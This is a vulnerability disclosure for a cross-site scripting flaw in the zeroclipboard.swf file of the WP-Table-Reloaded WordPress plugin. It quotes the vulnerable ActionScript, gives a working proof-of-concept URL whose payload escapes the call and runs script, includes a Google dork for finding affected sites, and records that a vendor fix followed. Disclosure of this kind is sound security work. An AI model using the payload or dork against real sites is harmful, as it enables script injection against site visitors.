WordPress WP-Table-Reloaded Cross Site Scripting

`  
# Exploit Title: Wordpress wp-table-reloadedþ plugin cross-site scripting in SWF  
# Release Date: 24/01/13  
# Author: hip [Insight-Labs]  
# Contact: [email protected] | Website: http://insight-labs.org  
# Software Link: http://downloads.wordpress.org/plugin/wp-table-reloaded.latest-stable.zip  
# Vendor Homepage: http://tobias.baethge.com/  
# Tested on: XPsp3  
# Infected version: 1.9.4 before  
# Google Dork: inurl:/wp-content/plugins/wp-table-reloaded/  
-----------------------------------------------------------------------------------------------------------------------  
# Introduction:   
WP-Table Reloaded enables you to create and manage tables,   
without having to write HTML code, and it adds valuable functions for your visitors.   
-------------------------------------------------------------------------------------------------------------------------  
# XSS - Proof Of Concept:  
vulnerable path:  
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf  
vulnerabile parameter:id  
  
piece of code:  
flashvars = LoaderInfo(this.root.loaderInfo).parameters;  
this.domId = flashvars.id; <-- vulnerable input  
  
ExternalInterface.call("ZeroClipboard.dispatch", domId, "mouseOver", null); <- vulnerable call  
  
POC:  
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}//  
  
-------------------------------------------------------------------------------------------------------------------------  
# Patch:  
-- Vendor was notified on the 23/01/2013  
-- Vendor released version 1.9.4 on 27/01/2013 Fixed the bug  
-- Reward 50 USD from white fir design on 30/01/2013  
-------------------------------------------------------------------------------------------------------------------------  
  
`